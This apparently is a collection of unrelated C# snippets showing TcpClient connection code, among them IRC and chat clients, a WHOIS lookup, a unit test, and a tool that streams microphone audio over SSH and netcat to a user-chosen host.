public System.Net.Sockets.TcpClient Con(int port, string nick, string server, string chan) { //Connect to irc server and get input and output text streams from TcpClient. System.Net.Sockets.TcpClient sock = new System.Net.Sockets.TcpClient(); sock.Connect(server, port); if (!sock.Connected) { Console.WriteLine("Failed to connect!"); } return sock; }
public static string PerformWhois(string WhoisServerHost, int WhoisServerPort, string Host) { string result=""; try { String strDomain = Host; char[] chSplit = {'.'}; string[] arrDomain = strDomain.Split(chSplit); // There may only be exactly one domain name and one suffix if (arrDomain.Length != 2) { return ""; } // The suffix may only be 2 or 3 characters long int nLength = arrDomain[1].Length; if (nLength != 2 && nLength != 3) { return ""; } System.Collections.Hashtable table = new System.Collections.Hashtable(); table.Add("de", "whois.denic.de"); table.Add("be", "whois.dns.be"); table.Add("gov", "whois.nic.gov"); table.Add("mil", "whois.nic.mil"); String strServer = WhoisServerHost; if (table.ContainsKey(arrDomain[1])) { strServer = table[arrDomain[1]].ToString(); } else if (nLength == 2) { // 2-letter TLD's always default to RIPE in Europe strServer = "whois.ripe.net"; } System.Net.Sockets.TcpClient tcpc = new System.Net.Sockets.TcpClient (); tcpc.Connect(strServer, WhoisServerPort); String strDomain1 = Host+"\r\n"; Byte[] arrDomain1 = System.Text.Encoding.ASCII.GetBytes(strDomain1.ToCharArray()); System.IO.Stream s = tcpc.GetStream(); s.Write(arrDomain1, 0, strDomain1.Length); System.IO.StreamReader sr = new System.IO.StreamReader(tcpc.GetStream(), System.Text.Encoding.ASCII); System.Text.StringBuilder strBuilder = new System.Text.StringBuilder(); string strLine = null; while (null != (strLine = sr.ReadLine())) { strBuilder.Append(strLine+"\r\n"); } result = strBuilder.ToString(); tcpc.Close(); }catch(Exception exc) { result="Could not connect to WHOIS server!\r\n"+exc.ToString(); } return result; }
private void SendBytes(IPEndPoint endpoint, byte[] buffer) { using (var client = new System.Net.Sockets.TcpClient()) { client.Connect(endpoint); var stream = client.GetStream(); stream.Write(buffer, 0, buffer.Length); stream.Flush(); client.Close(); } }
private System.Net.Sockets.TcpClient getSocket(String theAddress, int port) { System.Net.Sockets.TcpClient s = new System.Net.Sockets.TcpClient(); try { s.Connect(theAddress, port); } catch (System.IO.IOException e) { throw new NuGenTransportException(e); } return s; }
static void _main() { BlackCore.basic.cParams args = bcore.app.args; client = new System.Net.Sockets.TcpClient(); int wavInDevices = WaveIn.DeviceCount; int selWav = 0; for (int wavDevice = 0; wavDevice < wavInDevices; wavDevice++) { WaveInCapabilities deviceInfo = WaveIn.GetCapabilities(wavDevice); Console.WriteLine("Device {0}: {1}, {2} channels", wavDevice, deviceInfo.ProductName, deviceInfo.Channels); } Console.Write("Select device: "); selWav = int.Parse(Console.ReadLine()); Console.WriteLine("Selected device is " + selWav.ToString()); sshClient = new SshClient(args["host"], args["user"], args["pass"]); sshClient.Connect(); if (sshClient.IsConnected) { shell = sshClient.CreateShellStream("xterm", 50, 50, 640, 480, 17640); Console.WriteLine("Open listening socket..."); shell.WriteLine("nc -l " + args["port"] + "|pacat --playback"); System.Threading.Thread.Sleep(2000); Console.WriteLine("Try to connect..."); client.Connect(args["host"], int.Parse(args["port"])); if (!client.Connected) return; upStream = client.GetStream(); //==================== WaveInEvent wavInStream = new WaveInEvent(); wavInStream.DataAvailable += new EventHandler<WaveInEventArgs>(wavInStream_DataAvailable); wavInStream.DeviceNumber = selWav; wavInStream.WaveFormat = new WaveFormat(44100, 16, 2); wavInStream.StartRecording(); Console.WriteLine("Working....."); Console.ReadKey(); sshClient.Disconnect(); client.Close(); wavInStream.StopRecording(); wavInStream.Dispose(); wavInStream = null; } }
public void ConnectTest() { Console.WriteLine("커넥트 테스트 시작"); var netronics = CreateNetronics(); Console.WriteLine("클라이언트 초기화"); var socket = new System.Net.Sockets.TcpClient(); Console.WriteLine("클라이언트 접속"); socket.Connect(new IPEndPoint(IPAddress.Loopback, 17777)); Console.WriteLine("클라이언트 종료"); socket.GetStream().Close(); netronics.Stop(); Console.WriteLine("커넥트 테스트 완료"); }
static void Main(string[] args) { var client = new System.Net.Sockets.TcpClient(); client.Connect("192.168.7.227", 9731); while (true) { var line = Console.ReadLine(); if (!string.IsNullOrEmpty(line)) { Send(client, line); } } }
//public ActionResult ListUpnp() //{ // var upnp = new NATUPNPLib.UPnPNATClass(); // if (upnp.StaticPortMappingCollection == null) return Content("UPnP Disabled"); // var result = upnp.StaticPortMappingCollection.Cast<NATUPNPLib.IStaticPortMapping>() // .Aggregate("", (s, m) => s + m.Description + "<br/>"); // return Content(result); //} //public ActionResult EnableUpnp() //{ // var upnp = new NATUPNPLib.UPnPNATClass(); // if (upnp.StaticPortMappingCollection == null) return Content("UPnP Disabled"); // var localIP = System.Net.Dns.GetHostAddresses(System.Net.Dns.GetHostName()) // .First(ip => ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork); // upnp.StaticPortMappingCollection.Add(25565, "TCP", 25565, localIP.ToString(), true, "Minecraft"); // return Redirect("/Home/ListUpnp"); //} //public ActionResult DisableUpnp() //{ // var upnp = new NATUPNPLib.UPnPNATClass(); // if (upnp.StaticPortMappingCollection == null) return Content("UPnP Disabled"); // upnp.StaticPortMappingCollection.Remove(25565, "TCP"); // return Redirect("/Home/ListUpnp"); //} public ActionResult Test() { var client = new System.Net.Sockets.TcpClient(); try { client.Connect("localhost", 25565); client.Close(); return Content("Connection OK " + DateTime.Now.Ticks); } catch (Exception e) { return Content("Error:<br />" + e.Message); } }
public Terminal(Server s) { S = s; try { tc = new System.Net.Sockets.TcpClient(); tc.Connect(s.Address,s.Port); ns = tc.GetStream(); System.Threading.Thread th = new System.Threading.Thread(new System.Threading.ThreadStart(Recv)); th.Start(); ChangeState(State.Connect); } catch { ChangeState(State.disConnect); } }
public void Initialize() { if (String.IsNullOrWhiteSpace(this.Hostname)) throw new Exception("Hostname must be set."); if (this.Port == default(Int16)) throw new Exception("Port must be set."); _client = new System.Net.Sockets.TcpClient(); _client.Connect(hostname: this.Hostname, port: this.Port); _networkStream = _client.GetStream(); _networkReader = new System.IO.BinaryReader(_networkStream); _networkStream.Write(Version, 0, Version.Length); ReceiveLoop(); }
private void connectToolStripMenuItem_Click(object sender, EventArgs e) { try { mSocket = new System.Net.Sockets.TcpClient(); mSocket.Connect(mSettings.Hostname, mSettings.Port); System.IO.StreamReader reader = new System.IO.StreamReader(mSocket.GetStream()); string hello = reader.ReadLine(); string[] data = hello.Split(' '); mCGEResX = Convert.ToInt32(data[1]); mCGEResY = Convert.ToInt32(data[2]); mSockStream = new System.IO.StreamWriter(mSocket.GetStream(), Encoding.GetEncoding(1252)); } catch (System.Net.Sockets.SocketException) { mSocket = null; MessageBox.Show("Could not connect to CGE"); } }
static void StartClient() { string filePath = Thread.GetDomain().BaseDirectory; FileInfo fileInfo = new FileInfo(filePath + "\\Config\\Environment\\log4net.config"); log4net.Config.XmlConfigurator.Configure(fileInfo); string ip = ConfigHelper.GetConfig("localip"); int port = int.Parse(ConfigHelper.GetConfig("localport")); int maxcon = int.Parse(ConfigHelper.GetConfig("MaxConnections")); int buffersize = int.Parse(ConfigHelper.GetConfig("BufferSize")); string protocolType = ConfigHelper.GetConfig("protocolType"); if (protocolType == "udp") { udp = new UdpServerBase(System.Net.IPAddress.Parse(ip), port, maxcon, buffersize); udp.Start(); } else if (protocolType == "tcp") { string businessIP = ConfigHelper.GetConfig("businessServerIP"); int businessPort = int.Parse(ConfigHelper.GetConfig("businessserverport")); tcp = new System.Net.Sockets.TcpClient(new System.Net.IPEndPoint(System.Net.IPAddress.Parse(ip), port)); tcp.SendBufferSize = buffersize; tcp.Connect(businessIP, businessPort); } System.Threading.Thread.Sleep(100); System.Threading.Thread t1 = new Thread(new ThreadStart(sFetachData)); t1.Start(); System.Threading.Thread t2 = new Thread(new ThreadStart(sCameraData)); t2.Start(); System.Threading.Thread t3 = new Thread(new ThreadStart(sLocatedData)); t3.Start(); System.Threading.Thread t4 = new Thread(new ThreadStart(sUnlessData)); t4.Start(); System.Threading.Thread t5 = new Thread(new ThreadStart(sAlarmData)); t5.Start(); }
// public Stream GetConnection(Uri uri) { if (uri == null) { return null; } if (!_connections.ContainsKey(uri)) { if (uri.Scheme == Uri.UriSchemeNetTcp) { var tcpClient = new System.Net.Sockets.TcpClient(); tcpClient.Connect(uri.Host, uri.Port); _connections.Add(uri, tcpClient.GetStream()); } else if (uri.Scheme == Uri.UriSchemeFile) { //0 // stop bit 0 int dataBit = ImageConfig.DataBit; int baudRate = ImageConfig.BaudRate; System.IO.Ports.Parity parity = (System.IO.Ports.Parity)ImageConfig.Parity; StopBits stopbit = (StopBits)ImageConfig.StopBit; try { var com = new System.IO.Ports.SerialPort(uri.Host.ToUpper(), baudRate, parity, dataBit, stopbit); com.WriteTimeout = ImageConfig.WriteTimeout; com.ReadTimeout = ImageConfig.ReadTimeout; com.Open(); _connections.Add(uri, com.BaseStream); } catch (Exception ex) { throw ex; } } else throw new NotSupportedException("uri is not supported"); } return _connections[uri]; }
public static void Main(string[] args) { Console.Write ("Please Enter Operation Mode <Client|Server>: "); string modeName = ConsoleReadLine (); Guid ChatServiceAnouncementType = Guid.Parse ("b0021151-a1cc-4f82-aa8d-a2cdb905e6ca"); if (modeName == "Server") { System.Net.Sockets.TcpListener TL = new System.Net.Sockets.TcpListener (new System.Net.IPEndPoint (System.Net.IPAddress.Parse ("0.0.0.0"), 28000)); TL.Start (); while (true) HandleConnection (modeName, ChatServiceAnouncementType, TL.AcceptTcpClient ()); } if (modeName == "Client") { System.Net.Sockets.TcpClient TC = null; TC = new System.Net.Sockets.TcpClient (); Console.Write ("Please Enter Remote IP: "); TC.Connect (new System.Net.IPEndPoint (System.Net.IPAddress.Parse (ConsoleReadLine ()), 28000)); HandleConnection (modeName, ChatServiceAnouncementType, TC); } }
public override bool Init(IPAddress server, ushort port, List<byte> data) { m_socket.Close(); m_packets.Clear(); try { Logging.Logger.Write("Connecting to {0}:{1}", server, port); m_socket = new System.Net.Sockets.TcpClient(); m_socket.Connect(server, port); m_stream = m_socket.GetStream(); Logging.Logger.Write(" Connected"); } catch { Logging.Logger.Write(" Failed To connect"); return false; } OnStartThread(); return true; }
public static void Main(string[] args) { Console.Write ("Please Enter Operation Mode <Client|Server>: "); string modeName = ConsoleReadLine (); Guid fileShareServiceAnouncementType = Guid.Parse ("d44568fe-2bbb-4e4b-8aa8-3fb07dc86178"); if (modeName == "Server") { System.Net.Sockets.TcpListener TL = new System.Net.Sockets.TcpListener (new System.Net.IPEndPoint (System.Net.IPAddress.Parse ("0.0.0.0"), 28000)); TL.Start (); while (true) HandleConnection (modeName, fileShareServiceAnouncementType, TL.AcceptTcpClient ()); } if (modeName == "Client") { System.Net.Sockets.TcpClient TC = null; TC = new System.Net.Sockets.TcpClient (); Console.Write ("Please Enter Remote IP: "); TC.Connect (new System.Net.IPEndPoint (System.Net.IPAddress.Parse (ConsoleReadLine ()), 28000)); HandleConnection (modeName, fileShareServiceAnouncementType, TC); } }
static System.Net.Sockets.TcpClient ConnectTask(string ip,int port) { System.Net.Sockets.TcpClient tcp; while (true) { try { Console.WriteLine("try connect to {0}:{1}......", ip, port); tcp = new System.Net.Sockets.TcpClient(); tcp.Connect(ip, port); Console.WriteLine(" {0}:{1} Connected!", ip, port); return tcp; } catch (Exception ex) { Console.WriteLine(ex.Message); System.Threading.Thread.Sleep(1000 * 5); // Console.WriteLine("retr connect to {0}:{1}!", ip, port); } } }
void DoTask() { while (true) { try { Console.WriteLine("Connecting Service Area"); tcp = new System.Net.Sockets.TcpClient(); tcp.Connect("192.168.78.6", 1001); System.IO.TextReader rd = new System.IO.StreamReader(tcp.GetStream()); while (true) { try { string s = rd.ReadLine(); AvailableCnt = System.Convert.ToInt32(s.Substring(3, 3)); // Console.WriteLine(AvailableCnt); } catch (System.IO.IOException) { break; } catch (Exception ex) { AvailableCnt = -1; // Console.WriteLine(ex.Message + "," + ex.StackTrace); } } } catch { System.Threading.Thread.Sleep(5000); } } }
public static void Main() { client = new Form(); client.Text = "PCChat - Chat Client"; client.Closing += new CancelEventHandler(talk_Closing); client.Controls.Add(new TextBox()); client.Controls[0].Dock = DockStyle.Fill; client.Controls.Add(new TextBox()); client.Controls[1].Dock = DockStyle.Bottom; ((TextBox)client.Controls[0]).Multiline = true; ((TextBox)client.Controls[1]).Multiline = true; client.WindowState = FormWindowState.Maximized; client.Show(); ((TextBox)client.Controls[1]).KeyUp += new KeyEventHandler(key_up); tcpClient = new N.Sockets.TcpClient(); tcpClient.Connect("enter your server IP here", 4296); Thread chatThread = new Thread(new ThreadStart(run)); chatThread.Start(); while (true) { Application.DoEvents(); } }
public IRCBot(string server, int port, string dllPath, string username, string name, string channels, string hostname = "*****@*****.**") : base("main_bot_thread") { _channels = channels; _username = username; _dllPath = dllPath; _name = name; _hostname = hostname; _server = server; _port = port; _commandCollecter = new IRCSharp.Kernel.Collecters.CommandCollecter(_dllPath); _client = new System.Net.Sockets.TcpClient(); _client.Connect(_server, _port); _clientStream = _client.GetStream(); _ircWriter = new Model.Query.Writer.IRCWriter<System.IO.Stream>(_clientStream); _clientReader = new System.IO.StreamReader(_clientStream); _messageServer = new Messaging.MessageServer.MessageServer<Model.Query.IRCCommandQuery>( Messaging.Configuration.MessageServerConfiguration.BotServerQueuePath, Messaging.Configuration.MessageServerConfiguration.BotServerOutgoingPath ); _messageServer.OutgoingReveived += OutgoingReveived; }